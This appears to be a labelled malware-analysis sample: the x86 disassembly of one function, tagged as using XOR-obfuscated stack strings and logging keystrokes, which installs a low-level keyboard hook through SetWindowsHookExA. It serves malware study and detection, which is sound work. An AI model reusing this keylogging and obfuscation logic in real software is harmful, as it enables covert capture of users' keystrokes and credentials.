Function at 0x1004517c
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [0x100e22b0]
sub esp, 0x48
mov eax, dword [eax + 0xe0]
push ebx
push esi
mov esi, ecx
sub eax, 1
je 0x100453fb
sub eax, 1
jne 0x10045411
mov dword [esp + 0x20], 0x5d
mov eax, dword [esp + 0x20]
xor al, 0x44
mov byte [esp + 0x24], al
mov eax, dword [esp + 0x20]
inc al
xor al, 0x69
mov byte [esp + 0x25], al
mov eax, dword [esp + 0x20]
add al, 2
xor al, 0x73
mov byte [esp + 0x26], al
mov eax, dword [esp + 0x20]
add al, 3
xor al, 0x70
mov byte [esp + 0x27], al
mov eax, dword [esp + 0x20]
add al, 4
xor al, 0x61
mov byte [esp + 0x28], al
mov eax, dword [esp + 0x20]
add al, 5
xor al, 0x74
mov byte [esp + 0x29], al
mov eax, dword [esp + 0x20]
add al, 6
xor al, 0x63
mov byte [esp + 0x2a], al
mov eax, dword [esp + 0x20]
add al, 7
xor al, 0x68
mov byte [esp + 0x2b], al
mov eax, dword [esp + 0x20]
add al, 8
xor al, 0x4d
mov byte [esp + 0x2c], al
mov eax, dword [esp + 0x20]
add al, 9
xor al, 0x65
mov byte [esp + 0x2d], al
mov eax, dword [esp + 0x20]
add al, 0xa
xor al, 0x73
mov byte [esp + 0x2e], al
mov eax, dword [esp + 0x20]
add al, 0xb
xor al, 0x73
mov byte [esp + 0x2f], al
mov eax, dword [esp + 0x20]
add al, 0xc
xor al, 0x61
mov byte [esp + 0x30], al
mov eax, dword [esp + 0x20]
add al, 0xd
xor al, 0x67
mov byte [esp + 0x31], al
mov eax, dword [esp + 0x20]
add al, 0xe
xor al, 0x65
mov byte [esp + 0x32], al
mov eax, dword [esp + 0x20]
add al, 0xf
xor al, 0x41
xor ebx, ebx
mov byte [esp + 0x33], al
mov edx, ebx
mov al, byte [esp + 0x24]
mov byte [esp + 0x34], bl
mov al, byte [esp + edx + 0x24]
mov ecx, dword [esp + 0x20]
add cl, dl
xor cl, al
mov byte [esp + edx + 0x24], cl
inc edx
cmp edx, 0x10
jb 0x10045278
mov byte [esp + 0x34], bl
mov byte [esp + 0xd], 0x57
mov byte [esp + 0xe], 0x75
mov byte [esp + 0xf], 0x67
mov byte [esp + 0x10], 0x74
mov byte [esp + 0x11], 0x35
mov byte [esp + 0x12], 0x34
mov byte [esp + 0x13], bl
mov al, byte [esp + 0xd]
mov eax, ebx
sub byte [esp + eax + 0xd], 2
inc eax
cmp eax, 6
jb 0x100452ba
push 1
push 1
push 0x10044ff1
push ecx
lea eax, [esp + 0x34]
mov ecx, esi
push eax
lea eax, [esp + 0x21]
push eax
call fcn.10058fe0
pop ecx
push eax
mov ecx, esi
call fcn.10057210
mov dword [esp + 0x38], 0x4f
mov edx, ebx
mov byte [esp + 0x3c], 0xb
mov byte [esp + 0x3d], 0x26
mov byte [esp + 0x3e], 0x3c
mov byte [esp + 0x3f], 0x3f
mov byte [esp + 0x40], 0x2e
mov byte [esp + 0x41], 0x3b
mov byte [esp + 0x42], 0x2c
mov byte [esp + 0x43], 0x27
mov byte [esp + 0x44], 2
mov byte [esp + 0x45], 0x2a
mov byte [esp + 0x46], 0x3c
mov byte [esp + 0x47], 0x3c
mov byte [esp + 0x48], 0x2e
mov byte [esp + 0x49], 0x28
mov byte [esp + 0x4a], 0x2a
mov byte [esp + 0x4b], 0x18
mov al, byte [esp + 0x3c]
mov byte [esp + 0x4c], bl
mov al, byte [esp + edx + 0x3c]
mov ecx, dword [esp + 0x38]
xor cl, al
mov byte [esp + edx + 0x3c], cl
inc edx
cmp edx, 0x10
jb 0x1004534b
mov byte [esp + 0x4c], bl
mov edx, ebx
mov dword [esp + 0x14], 0x4c
mov eax, dword [esp + 0x14]
xor al, 0x55
mov byte [esp + 0x18], al
mov eax, dword [esp + 0x14]
inc al
xor al, 0x73
mov byte [esp + 0x19], al
mov eax, dword [esp + 0x14]
add al, 2
xor al, 0x65
mov byte [esp + 0x1a], al
mov eax, dword [esp + 0x14]
add al, 3
xor al, 0x72
mov byte [esp + 0x1b], al
mov eax, dword [esp + 0x14]
add al, 4
xor al, 0x33
mov byte [esp + 0x1c], al
mov eax, dword [esp + 0x14]
add al, 5
mov byte [esp + 0x1e], bl
xor al, 0x32
mov byte [esp + 0x1d], al
mov al, byte [esp + 0x18]
mov al, byte [esp + edx + 0x18]
mov ecx, dword [esp + 0x14]
add cl, dl
xor cl, al
mov byte [esp + edx + 0x18], cl
inc edx
cmp edx, 6
jb 0x100453bb
push 1
push 1
push 0x10044ff1
push ecx
lea eax, [esp + 0x4c]
mov byte [esp + 0x2e], bl
push eax
lea eax, [esp + 0x2c]
mov ecx, esi
push eax
call fcn.10058fe0
pop ecx
push eax
mov ecx, esi
call fcn.10057210
jmp 0x10045411
xor ebx, ebx
push ebx
push ebx
push 0x10044de4
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [0x100e2bcc], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret